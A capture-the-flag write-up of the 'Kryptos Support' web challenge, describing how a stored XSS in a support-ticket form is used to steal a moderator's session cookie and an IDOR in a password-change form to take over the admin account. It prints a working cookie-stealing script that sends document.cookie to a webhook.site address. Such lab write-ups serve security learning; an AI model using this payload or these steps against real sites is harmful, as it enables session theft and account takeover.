> For the complete documentation index, see [llms.txt](https://ctf.laet4x.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ctf.laet4x.com/ctf-2022/htb-cyber-apocalypse-2022-intergalactic-chase/1-web-300-kryptos-support.md).

# 1️⃣ Web 300: Kryptos Support

<figure><img src="https://382757542-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfAxmqRz869b0dQQ6DjHW%2Fuploads%2FYNjI2TNRMaQONlAECoXc%2F1.png?alt=media&amp;token=f5fa85e5-1c96-42c5-bd38-b48714d9175a" alt=""><figcaption></figcaption></figure>

During my enumeration I got a field wherein you can submit via form, and another page which is a login portal.

<figure><img src="https://382757542-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfAxmqRz869b0dQQ6DjHW%2Fuploads%2FhEBt1rRXQ86HtXNJKA2e%2F11.png?alt=media&amp;token=08dcf3d3-3f6d-4604-8276-f4ac8ca5c09d" alt=""><figcaption></figcaption></figure>

I submitted a test content and got this:

<figure><img src="https://382757542-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfAxmqRz869b0dQQ6DjHW%2Fuploads%2F0JvfIBFXL8vwAk1xJGpR%2F2.png?alt=media&amp;token=9b5cc789-9a45-4098-b346-5170f193d71d" alt=""><figcaption></figcaption></figure>

The response above gave me a hint of possible XSS attack. Which leads me to get an Admin Cookies/Session. I sent a crafted xss payload using <https://webhook.site>.

```
<script>
document.write('<img src="https://webhook.site/4805b428-e4e9-4754-9ff1-74f3b03e040d?c='+document.cookie+'" />');
</script>
```

Now I have the session cookies.

<figure><img src="https://382757542-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfAxmqRz869b0dQQ6DjHW%2Fuploads%2FRDW6dQxJz4nCvtflGcRp%2F3.png?alt=media&amp;token=a235f167-6a5f-4cd8-b2e9-0c2561e822cb" alt=""><figcaption></figcaption></figure>

I installed a cookie editor to use the session that came from the results of my XSS attack.

<figure><img src="https://382757542-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfAxmqRz869b0dQQ6DjHW%2Fuploads%2F5F11zV96rlSZjPPmoyZd%2F4.png?alt=media&amp;token=dd12fc52-ab27-4c6d-9813-9b9f49b2c5d2" alt=""><figcaption></figcaption></figure>

Then redirected to the admin panel. I didn't find any field or upload files, just the ticket that I submitted.

<figure><img src="https://382757542-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfAxmqRz869b0dQQ6DjHW%2Fuploads%2Fy98zeLCdOJMHNX5FCcvc%2F44.png?alt=media&amp;token=ba3366a4-c5f1-456d-9bb7-f6a73ed0ff9d" alt=""><figcaption></figcaption></figure>

Upon checking the links, I found a change password field. I tried to change the password of the current account, that's when I noticed that the account I compromised is a moderator.

<figure><img src="https://382757542-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfAxmqRz869b0dQQ6DjHW%2Fuploads%2FOjxjsWQTQqVCaZLCn2Tp%2F5.png?alt=media&amp;token=464a77ba-b182-4eeb-8438-5085dd699204" alt=""><figcaption></figcaption></figure>

So I thought that maybe there is an Admin account for this application. Next is enabling the inspect element functions of the browser to check some hidden fields, and that where I got the UID.

<figure><img src="https://382757542-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfAxmqRz869b0dQQ6DjHW%2Fuploads%2FcAQ6VfPza36dnCRNQlRP%2F6.png?alt=media&amp;token=f29f420f-1077-4fa7-9570-a2ad6dd7319c" alt=""><figcaption></figcaption></figure>

I decided to edit the value to 1 and supplied my chosen password and click submit, then I received this message below

<figure><img src="https://382757542-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfAxmqRz869b0dQQ6DjHW%2Fuploads%2FvQHAuUcstRb5W0Vhi0vs%2F7.png?alt=media&amp;token=5ef1713c-5439-4d59-9ed9-4db5911cd701" alt=""><figcaption></figcaption></figure>

I login using admin and my chosen password and was automatically redirected to Home Page with a Flag.

<figure><img src="https://382757542-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfAxmqRz869b0dQQ6DjHW%2Fuploads%2Fyz1bMugCkQX0LI3W00Rk%2Fflag.png?alt=media&amp;token=7a65f6be-37d2-4961-b3c2-9beed9d7e1d3" alt=""><figcaption></figcaption></figure>

Conclusion: **The application is vulnerable to Persistent XSS and IDOR or known as Insecure Direct Object Reference.**